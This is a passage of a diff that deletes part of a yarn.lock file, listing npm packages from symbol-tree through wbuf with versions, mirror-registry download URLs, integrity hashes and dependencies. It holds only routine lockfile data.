-    coa "^2.0.2"
-    css-select "^2.0.0"
-    css-select-base-adapter "^0.1.1"
-    css-tree "1.0.0-alpha.37"
-    csso "^4.0.2"
-    js-yaml "^3.13.1"
-    mkdirp "~0.5.1"
-    object.values "^1.1.0"
-    sax "~1.2.4"
-    stable "^0.1.8"
-    unquote "~1.1.1"
-    util.promisify "~1.0.0"
-
-symbol-tree@^3.2.2:
-  version "3.2.4"
-  resolved "https://registry.npm.taobao.org/symbol-tree/download/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2"
-  integrity sha1-QwY30ki6d+B4iDlR+5qg7tfGP6I=
-
-table@^5.2.3:
-  version "5.4.6"
-  resolved "https://registry.nlark.com/table/download/table-5.4.6.tgz#1292d19500ce3f86053b05f0e8e7e4a3bb21079e"
-  integrity sha1-EpLRlQDOP4YFOwXw6Ofko7shB54=
-  dependencies:
-    ajv "^6.10.2"
-    lodash "^4.17.14"
-    slice-ansi "^2.1.0"
-    string-width "^3.0.0"
-
-tapable@^1.0.0, tapable@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.nlark.com/tapable/download/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2"
-  integrity sha1-ofzMBrWNth/XpF2i2kT186Pme6I=
-
-terser-webpack-plugin@2.3.5:
-  version "2.3.5"
-  resolved "https://registry.nlark.com/terser-webpack-plugin/download/terser-webpack-plugin-2.3.5.tgz#5ad971acce5c517440ba873ea4f09687de2f4a81"
-  integrity sha1-WtlxrM5cUXRAuoc+pPCWh94vSoE=
-  dependencies:
-    cacache "^13.0.1"
-    find-cache-dir "^3.2.0"
-    jest-worker "^25.1.0"
-    p-limit "^2.2.2"
-    schema-utils "^2.6.4"
-    serialize-javascript "^2.1.2"
-    source-map "^0.6.1"
-    terser "^4.4.3"
-    webpack-sources "^1.4.3"
-
-terser-webpack-plugin@^1.4.3:
-  version "1.4.5"
-  resolved "https://registry.nlark.com/terser-webpack-plugin/download/terser-webpack-plugin-1.4.5.tgz#a217aefaea330e734ffacb6120ec1fa312d6040b"
-  integrity sha1-oheu+uozDnNP+sthIOwfoxLWBAs=
-  dependencies:
-    cacache "^12.0.2"
-    find-cache-dir "^2.1.0"
-    is-wsl "^1.1.0"
-    schema-utils "^1.0.0"
-    serialize-javascript "^4.0.0"
-    source-map "^0.6.1"
-    terser "^4.1.2"
-    webpack-sources "^1.4.0"
-    worker-farm "^1.7.0"
-
-terser@^4.1.2, terser@^4.4.3, terser@^4.6.3:
-  version "4.8.0"
-  resolved "https://registry.nlark.com/terser/download/terser-4.8.0.tgz#63056343d7c70bb29f3af665865a46fe03a0df17"
-  integrity sha1-YwVjQ9fHC7KfOvZlhlpG/gOg3xc=
-  dependencies:
-    commander "^2.20.0"
-    source-map "~0.6.1"
-    source-map-support "~0.5.12"
-
-test-exclude@^5.2.3:
-  version "5.2.3"
-  resolved "https://registry.nlark.com/test-exclude/download/test-exclude-5.2.3.tgz#c3d3e1e311eb7ee405e092dac10aefd09091eac0"
-  integrity sha1-w9Ph4xHrfuQF4JLawQrv0JCR6sA=
-  dependencies:
-    glob "^7.1.3"
-    minimatch "^3.0.4"
-    read-pkg-up "^4.0.0"
-    require-main-filename "^2.0.0"
-
-text-table@0.2.0, text-table@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.nlark.com/text-table/download/text-table-0.2.0.tgz?cache=0&sync_timestamp=1618847142316&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftext-table%2Fdownload%2Ftext-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
-  integrity sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=
-
-throat@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/throat/download/throat-4.1.0.tgz#89037cbc92c56ab18926e6ba4cbb200e15672a6a"
-  integrity sha1-iQN8vJLFarGJJua6TLsgDhVnKmo=
-
-through2@^2.0.0:
-  version "2.0.5"
-  resolved "https://registry.npm.taobao.org/through2/download/through2-2.0.5.tgz#01c1e39eb31d07cb7d03a96a70823260b23132cd"
-  integrity sha1-AcHjnrMdB8t9A6lqcIIyYLIxMs0=
-  dependencies:
-    readable-stream "~2.3.6"
-    xtend "~4.0.1"
-
-through@^2.3.6:
-  version "2.3.8"
-  resolved "https://registry.nlark.com/through/download/through-2.3.8.tgz#0dd4c9ffaabc357960b1b724115d7e0e86a2e1f5"
-  integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=
-
-thunky@^1.0.2:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/thunky/download/thunky-1.1.0.tgz#5abaf714a9405db0504732bbccd2cedd9ef9537d"
-  integrity sha1-Wrr3FKlAXbBQRzK7zNLO3Z75U30=
-
-timers-browserify@^2.0.4:
-  version "2.0.12"
-  resolved "https://registry.nlark.com/timers-browserify/download/timers-browserify-2.0.12.tgz#44a45c11fbf407f34f97bccd1577c652361b00ee"
-  integrity sha1-RKRcEfv0B/NPl7zNFXfGUjYbAO4=
-  dependencies:
-    setimmediate "^1.0.4"
-
-timsort@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.nlark.com/timsort/download/timsort-0.3.0.tgz#405411a8e7e6339fe64db9a234de11dc31e02bd4"
-  integrity sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=
-
-tmp@^0.0.33:
-  version "0.0.33"
-  resolved "https://registry.npm.taobao.org/tmp/download/tmp-0.0.33.tgz#6d34335889768d21b2bcda0aa277ced3b1bfadf9"
-  integrity sha1-bTQzWIl2jSGyvNoKonfO07G/rfk=
-  dependencies:
-    os-tmpdir "~1.0.2"
-
-tmpl@1.0.x:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/tmpl/download/tmpl-1.0.4.tgz#23640dd7b42d00433911140820e5cf440e521dd1"
-  integrity sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE=
-
-to-arraybuffer@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/to-arraybuffer/download/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43"
-  integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=
-
-to-fast-properties@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/to-fast-properties/download/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e"
-  integrity sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=
-
-to-object-path@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.nlark.com/to-object-path/download/to-object-path-0.3.0.tgz#297588b7b0e7e0ac08e04e672f85c1f4999e17af"
-  integrity sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=
-  dependencies:
-    kind-of "^3.0.2"
-
-to-regex-range@^2.1.0:
-  version "2.1.1"
-  resolved "https://registry.nlark.com/to-regex-range/download/to-regex-range-2.1.1.tgz#7c80c17b9dfebe599e27367e0d4dd5590141db38"
-  integrity sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=
-  dependencies:
-    is-number "^3.0.0"
-    repeat-string "^1.6.1"
-
-to-regex-range@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.nlark.com/to-regex-range/download/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
-  integrity sha1-FkjESq58jZiKMmAY7XL1tN0DkuQ=
-  dependencies:
-    is-number "^7.0.0"
-
-to-regex@^3.0.1, to-regex@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.nlark.com/to-regex/download/to-regex-3.0.2.tgz#13cfdd9b336552f30b51f33a8ae1b42a7a7599ce"
-  integrity sha1-E8/dmzNlUvMLUfM6iuG0Knp1mc4=
-  dependencies:
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    regex-not "^1.0.2"
-    safe-regex "^1.1.0"
-
-toidentifier@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/toidentifier/download/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
-  integrity sha1-fhvjRw8ed5SLxD2Uo8j013UrpVM=
-
-tough-cookie@^2.3.3, tough-cookie@^2.3.4, tough-cookie@^2.5.0, tough-cookie@~2.5.0:
-  version "2.5.0"
-  resolved "https://registry.npm.taobao.org/tough-cookie/download/tough-cookie-2.5.0.tgz#cd9fb2a0aa1d5a12b473bd9fb96fa3dcff65ade2"
-  integrity sha1-zZ+yoKodWhK0c72fuW+j3P9lreI=
-  dependencies:
-    psl "^1.1.28"
-    punycode "^2.1.1"
-
-tr46@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/tr46/download/tr46-1.0.1.tgz?cache=0&sync_timestamp=1621678122275&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftr46%2Fdownload%2Ftr46-1.0.1.tgz#a8b13fd6bfd2489519674ccde55ba3693b706d09"
-  integrity sha1-qLE/1r/SSJUZZ0zN5VujaTtwbQk=
-  dependencies:
-    punycode "^2.1.0"
-
-ts-pnp@1.1.6:
-  version "1.1.6"
-  resolved "https://registry.npm.taobao.org/ts-pnp/download/ts-pnp-1.1.6.tgz#389a24396d425a0d3162e96d2b4638900fdc289a"
-  integrity sha1-OJokOW1CWg0xYultK0Y4kA/cKJo=
-
-ts-pnp@^1.1.6:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/ts-pnp/download/ts-pnp-1.2.0.tgz#a500ad084b0798f1c3071af391e65912c86bca92"
-  integrity sha1-pQCtCEsHmPHDBxrzkeZZEshrypI=
-
-tslib@^1.8.1, tslib@^1.9.0:
-  version "1.14.1"
-  resolved "https://registry.nlark.com/tslib/download/tslib-1.14.1.tgz?cache=0&sync_timestamp=1618846758811&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftslib%2Fdownload%2Ftslib-1.14.1.tgz#cf2d38bdc34a134bcaf1091c41f6619e2f672d00"
-  integrity sha1-zy04vcNKE0vK8QkcQfZhni9nLQA=
-
-tslib@^2.0.3:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/tslib/download/tslib-2.2.0.tgz?cache=0&sync_timestamp=1618846758811&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftslib%2Fdownload%2Ftslib-2.2.0.tgz#fb2c475977e35e241311ede2693cee1ec6698f5c"
-  integrity sha1-+yxHWXfjXiQTEe3iaTzuHsZpj1w=
-
-tsutils@^3.17.1:
-  version "3.21.0"
-  resolved "https://registry.npm.taobao.org/tsutils/download/tsutils-3.21.0.tgz?cache=0&sync_timestamp=1615138184534&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftsutils%2Fdownload%2Ftsutils-3.21.0.tgz#b48717d394cea6c1e096983eed58e9d61715b623"
-  integrity sha1-tIcX05TOpsHglpg+7Vjp1hcVtiM=
-  dependencies:
-    tslib "^1.8.1"
-
-tty-browserify@0.0.0:
-  version "0.0.0"
-  resolved "https://registry.npm.taobao.org/tty-browserify/download/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6"
-  integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=
-
-tunnel-agent@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.nlark.com/tunnel-agent/download/tunnel-agent-0.6.0.tgz#27a5dea06b36b04a0a9966774b290868f0fc40fd"
-  integrity sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=
-  dependencies:
-    safe-buffer "^5.0.1"
-
-tweetnacl@^0.14.3, tweetnacl@~0.14.0:
-  version "0.14.5"
-  resolved "https://registry.npm.taobao.org/tweetnacl/download/tweetnacl-0.14.5.tgz#5ae68177f192d4456269d108afa93ff8743f4f64"
-  integrity sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=
-
-type-check@~0.3.2:
-  version "0.3.2"
-  resolved "https://registry.nlark.com/type-check/download/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
-  integrity sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=
-  dependencies:
-    prelude-ls "~1.1.2"
-
-type-fest@^0.21.3:
-  version "0.21.3"
-  resolved "https://registry.nlark.com/type-fest/download/type-fest-0.21.3.tgz?cache=0&sync_timestamp=1622543391721&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.21.3.tgz#d260a24b0198436e133fa26a524a6d65fa3b2e37"
-  integrity sha1-0mCiSwGYQ24TP6JqUkptZfo7Ljc=
-
-type-fest@^0.8.1:
-  version "0.8.1"
-  resolved "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543391721&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz#09e249ebde851d3b1e48d27c105444667f17b83d"
-  integrity sha1-CeJJ696FHTseSNJ8EFREZn8XuD0=
-
-type-is@~1.6.17, type-is@~1.6.18:
-  version "1.6.18"
-  resolved "https://registry.nlark.com/type-is/download/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
-  integrity sha1-TlUs0F3wlGfcvE73Od6J8s83wTE=
-  dependencies:
-    media-typer "0.3.0"
-    mime-types "~2.1.24"
-
-type@^1.0.1:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/type/download/type-1.2.0.tgz?cache=0&sync_timestamp=1615215448661&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftype%2Fdownload%2Ftype-1.2.0.tgz#848dd7698dafa3e54a6c479e759c4bc3f18847a0"
-  integrity sha1-hI3XaY2vo+VKbEeedZxLw/GIR6A=
-
-type@^2.0.0:
-  version "2.5.0"
-  resolved "https://registry.npm.taobao.org/type/download/type-2.5.0.tgz?cache=0&sync_timestamp=1615215448661&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftype%2Fdownload%2Ftype-2.5.0.tgz#0a2e78c2e77907b252abe5f298c1b01c63f0db3d"
-  integrity sha1-Ci54wud5B7JSq+XymMGwHGPw2z0=
-
-typedarray@^0.0.6:
-  version "0.0.6"
-  resolved "https://registry.npm.taobao.org/typedarray/download/typedarray-0.0.6.tgz#867ac74e3864187b1d3d47d996a78ec5c8830777"
-  integrity sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=
-
-unbox-primitive@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/unbox-primitive/download/unbox-primitive-1.0.1.tgz#085e215625ec3162574dc8859abee78a59b14471"
-  integrity sha1-CF4hViXsMWJXTciFmr7nilmxRHE=
-  dependencies:
-    function-bind "^1.1.1"
-    has-bigints "^1.0.1"
-    has-symbols "^1.0.2"
-    which-boxed-primitive "^1.0.2"
-
-unicode-canonical-property-names-ecmascript@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/unicode-canonical-property-names-ecmascript/download/unicode-canonical-property-names-ecmascript-1.0.4.tgz#2619800c4c825800efdd8343af7dd9933cbe2818"
-  integrity sha1-JhmADEyCWADv3YNDr33Zkzy+KBg=
-
-unicode-match-property-ecmascript@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/unicode-match-property-ecmascript/download/unicode-match-property-ecmascript-1.0.4.tgz#8ed2a32569961bce9227d09cd3ffbb8fed5f020c"
-  integrity sha1-jtKjJWmWG86SJ9Cc0/+7j+1fAgw=
-  dependencies:
-    unicode-canonical-property-names-ecmascript "^1.0.4"
-    unicode-property-aliases-ecmascript "^1.0.4"
-
-unicode-match-property-value-ecmascript@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/unicode-match-property-value-ecmascript/download/unicode-match-property-value-ecmascript-1.2.0.tgz#0d91f600eeeb3096aa962b1d6fc88876e64ea531"
-  integrity sha1-DZH2AO7rMJaqlisdb8iIduZOpTE=
-
-unicode-property-aliases-ecmascript@^1.0.4:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/unicode-property-aliases-ecmascript/download/unicode-property-aliases-ecmascript-1.1.0.tgz#dd57a99f6207bedff4628abefb94c50db941c8f4"
-  integrity sha1-3Vepn2IHvt/0Yoq++5TFDblByPQ=
-
-union-value@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/union-value/download/union-value-1.0.1.tgz#0b6fe7b835aecda61c6ea4d4f02c14221e109847"
-  integrity sha1-C2/nuDWuzaYcbqTU8CwUIh4QmEc=
-  dependencies:
-    arr-union "^3.1.0"
-    get-value "^2.0.6"
-    is-extendable "^0.1.1"
-    set-value "^2.0.1"
-
-uniq@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/uniq/download/uniq-1.0.1.tgz#b31c5ae8254844a3a8281541ce2b04b865a734ff"
-  integrity sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=
-
-uniqs@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/uniqs/download/uniqs-2.0.0.tgz#ffede4b36b25290696e6e165d4a59edb998e6b02"
-  integrity sha1-/+3ks2slKQaW5uFl1KWe25mOawI=
-
-unique-filename@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/unique-filename/download/unique-filename-1.1.1.tgz#1d69769369ada0583103a1e6ae87681b56573230"
-  integrity sha1-HWl2k2mtoFgxA6HmrodoG1ZXMjA=
-  dependencies:
-    unique-slug "^2.0.0"
-
-unique-slug@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.nlark.com/unique-slug/download/unique-slug-2.0.2.tgz#baabce91083fc64e945b0f3ad613e264f7cd4e6c"
-  integrity sha1-uqvOkQg/xk6UWw861hPiZPfNTmw=
-  dependencies:
-    imurmurhash "^0.1.4"
-
-universalify@^0.1.0:
-  version "0.1.2"
-  resolved "https://registry.nlark.com/universalify/download/universalify-0.1.2.tgz#b646f69be3942dabcecc9d6639c80dc105efaa66"
-  integrity sha1-tkb2m+OULavOzJ1mOcgNwQXvqmY=
-
-unpipe@1.0.0, unpipe@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/unpipe/download/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
-  integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=
-
-unquote@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/unquote/download/unquote-1.1.1.tgz#8fded7324ec6e88a0ff8b905e7c098cdc086d544"
-  integrity sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ=
-
-unset-value@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/unset-value/download/unset-value-1.0.0.tgz#8376873f7d2335179ffb1e6fc3a8ed0dfc8ab559"
-  integrity sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=
-  dependencies:
-    has-value "^0.3.1"
-    isobject "^3.0.0"
-
-upath@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/upath/download/upath-1.2.0.tgz#8f66dbcd55a883acdae4408af8b035a5044c1894"
-  integrity sha1-j2bbzVWog6za5ECK+LA1pQRMGJQ=
-
-uri-js@^4.2.2:
-  version "4.4.1"
-  resolved "https://registry.npm.taobao.org/uri-js/download/uri-js-4.4.1.tgz?cache=0&sync_timestamp=1610237624359&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furi-js%2Fdownload%2Furi-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
-  integrity sha1-mxpSWVIlhZ5V9mnZKPiMbFfyp34=
-  dependencies:
-    punycode "^2.1.0"
-
-urix@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.nlark.com/urix/download/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72"
-  integrity sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=
-
-url-loader@2.3.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/url-loader/download/url-loader-2.3.0.tgz?cache=0&sync_timestamp=1602252626029&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furl-loader%2Fdownload%2Furl-loader-2.3.0.tgz#e0e2ef658f003efb8ca41b0f3ffbf76bab88658b"
-  integrity sha1-4OLvZY8APvuMpBsPP/v3a6uIZYs=
-  dependencies:
-    loader-utils "^1.2.3"
-    mime "^2.4.4"
-    schema-utils "^2.5.0"
-
-url-parse@^1.4.3:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/url-parse/download/url-parse-1.5.1.tgz?cache=0&sync_timestamp=1613659652440&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furl-parse%2Fdownload%2Furl-parse-1.5.1.tgz#d5fa9890af8a5e1f274a2c98376510f6425f6e3b"
-  integrity sha1-1fqYkK+KXh8nSiyYN2UQ9kJfbjs=
-  dependencies:
-    querystringify "^2.1.1"
-    requires-port "^1.0.0"
-
-url@^0.11.0:
-  version "0.11.0"
-  resolved "https://registry.nlark.com/url/download/url-0.11.0.tgz?cache=0&sync_timestamp=1618847135337&other_urls=https%3A%2F%2Fregistry.nlark.com%2Furl%2Fdownload%2Furl-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1"
-  integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=
-  dependencies:
-    punycode "1.3.2"
-    querystring "0.2.0"
-
-use@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.nlark.com/use/download/use-3.1.1.tgz#d50c8cac79a19fbc20f2911f56eb973f4e10070f"
-  integrity sha1-1QyMrHmhn7wg8pEfVuuXP04QBw8=
-
-util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/util-deprecate/download/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
-
-util.promisify@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/util.promisify/download/util.promisify-1.0.0.tgz?cache=0&sync_timestamp=1610159895694&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Futil.promisify%2Fdownload%2Futil.promisify-1.0.0.tgz#440f7165a459c9a16dc145eb8e72f35687097030"
-  integrity sha1-RA9xZaRZyaFtwUXrjnLzVocJcDA=
-  dependencies:
-    define-properties "^1.1.2"
-    object.getownpropertydescriptors "^2.0.3"
-
-util.promisify@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/util.promisify/download/util.promisify-1.1.1.tgz?cache=0&sync_timestamp=1610159895694&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Futil.promisify%2Fdownload%2Futil.promisify-1.1.1.tgz#77832f57ced2c9478174149cae9b96e9918cd54b"
-  integrity sha1-d4MvV87SyUeBdBScrpuW6ZGM1Us=
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    for-each "^0.3.3"
-    has-symbols "^1.0.1"
-    object.getownpropertydescriptors "^2.1.1"
-
-util.promisify@~1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/util.promisify/download/util.promisify-1.0.1.tgz?cache=0&sync_timestamp=1610159895694&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Futil.promisify%2Fdownload%2Futil.promisify-1.0.1.tgz#6baf7774b80eeb0f7520d8b81d07982a59abbaee"
-  integrity sha1-a693dLgO6w91INi4HQeYKlmruu4=
-  dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.2"
-    has-symbols "^1.0.1"
-    object.getownpropertydescriptors "^2.1.0"
-
-util@0.10.3:
-  version "0.10.3"
-  resolved "https://registry.nlark.com/util/download/util-0.10.3.tgz?cache=0&sync_timestamp=1622212984161&other_urls=https%3A%2F%2Fregistry.nlark.com%2Futil%2Fdownload%2Futil-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9"
-  integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk=
-  dependencies:
-    inherits "2.0.1"
-
-util@^0.11.0:
-  version "0.11.1"
-  resolved "https://registry.nlark.com/util/download/util-0.11.1.tgz?cache=0&sync_timestamp=1622212984161&other_urls=https%3A%2F%2Fregistry.nlark.com%2Futil%2Fdownload%2Futil-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61"
-  integrity sha1-MjZzNyDsZLsn9uJvQhqqLhtYjWE=
-  dependencies:
-    inherits "2.0.3"
-
-utila@~0.4:
-  version "0.4.0"
-  resolved "https://registry.nlark.com/utila/download/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c"
-  integrity sha1-ihagXURWV6Oupe7MWxKk+lN5dyw=
-
-utils-merge@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/utils-merge/download/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
-  integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=
-
-uuid@^3.0.1, uuid@^3.3.2:
-  version "3.4.0"
-  resolved "https://registry.nlark.com/uuid/download/uuid-3.4.0.tgz?cache=0&sync_timestamp=1622213136953&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fuuid%2Fdownload%2Fuuid-3.4.0.tgz#b23e4358afa8a202fe7a100af1f5f883f02007ee"
-  integrity sha1-sj5DWK+oogL+ehAK8fX4g/AgB+4=
-
-v8-compile-cache@^2.0.3:
-  version "2.3.0"
-  resolved "https://registry.nlark.com/v8-compile-cache/download/v8-compile-cache-2.3.0.tgz#2de19618c66dc247dcfb6f99338035d8245a2cee"
-  integrity sha1-LeGWGMZtwkfc+2+ZM4A12CRaLO4=
-
-validate-npm-package-license@^3.0.1:
-  version "3.0.4"
-  resolved "https://registry.nlark.com/validate-npm-package-license/download/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a"
-  integrity sha1-/JH2uce6FchX9MssXe/uw51PQQo=
-  dependencies:
-    spdx-correct "^3.0.0"
-    spdx-expression-parse "^3.0.0"
-
-vary@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.nlark.com/vary/download/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
-  integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=
-
-vendors@^1.0.0:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/vendors/download/vendors-1.0.4.tgz#e2b800a53e7a29b93506c3cf41100d16c4c4ad8e"
-  integrity sha1-4rgApT56Kbk1BsPPQRANFsTErY4=
-
-verror@1.10.0:
-  version "1.10.0"
-  resolved "https://registry.npm.taobao.org/verror/download/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400"
-  integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=
-  dependencies:
-    assert-plus "^1.0.0"
-    core-util-is "1.0.2"
-    extsprintf "^1.2.0"
-
-vm-browserify@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.nlark.com/vm-browserify/download/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0"
-  integrity sha1-eGQcSIuObKkadfUR56OzKobl3aA=
-
-w3c-hr-time@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/w3c-hr-time/download/w3c-hr-time-1.0.2.tgz#0a89cdf5cc15822df9c360543676963e0cc308cd"
-  integrity sha1-ConN9cwVgi35w2BUNnaWPgzDCM0=
-  dependencies:
-    browser-process-hrtime "^1.0.0"
-
-w3c-xmlserializer@^1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/w3c-xmlserializer/download/w3c-xmlserializer-1.1.2.tgz#30485ca7d70a6fd052420a3d12fd90e6339ce794"
-  integrity sha1-MEhcp9cKb9BSQgo9Ev2Q5jOc55Q=
-  dependencies:
-    domexception "^1.0.1"
-    webidl-conversions "^4.0.2"
-    xml-name-validator "^3.0.0"
-
-wait-for-expect@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/wait-for-expect/download/wait-for-expect-3.0.2.tgz#d2f14b2f7b778c9b82144109c8fa89ceaadaa463"
-  integrity sha1-0vFLL3t3jJuCFEEJyPqJzqrapGM=
-
-walker@^1.0.7, walker@~1.0.5:
-  version "1.0.7"
-  resolved "https://registry.nlark.com/walker/download/walker-1.0.7.tgz#2f7f9b8fd10d677262b18a884e28d19618e028fb"
-  integrity sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=
-  dependencies:
-    makeerror "1.0.x"
-
-watchpack-chokidar2@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/watchpack-chokidar2/download/watchpack-chokidar2-2.0.1.tgz#38500072ee6ece66f3769936950ea1771be1c957"
-  integrity sha1-OFAAcu5uzmbzdpk2lQ6hdxvhyVc=
-  dependencies:
-    chokidar "^2.1.8"
-
-watchpack@^1.6.0:
-  version "1.7.5"
-  resolved "https://registry.nlark.com/watchpack/download/watchpack-1.7.5.tgz?cache=0&sync_timestamp=1621437868630&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwatchpack%2Fdownload%2Fwatchpack-1.7.5.tgz#1267e6c55e0b9b5be44c2023aed5437a2c26c453"
-  integrity sha1-EmfmxV4Lm1vkTCAjrtVDeiwmxFM=
-  dependencies:
-    graceful-fs "^4.1.2"
-    neo-async "^2.5.0"
-  optionalDependencies:
-    chokidar "^3.4.1"
-    watchpack-chokidar2 "^2.0.1"
-
-wbuf@^1.1.0, wbuf@^1.7.3:
-  version "1.7.3"
-  resolved "https://registry.npm.taobao.org/wbuf/download/wbuf-1.7.3.tgz#c1d8d149316d3ea852848895cb6a0bfe887b87df"
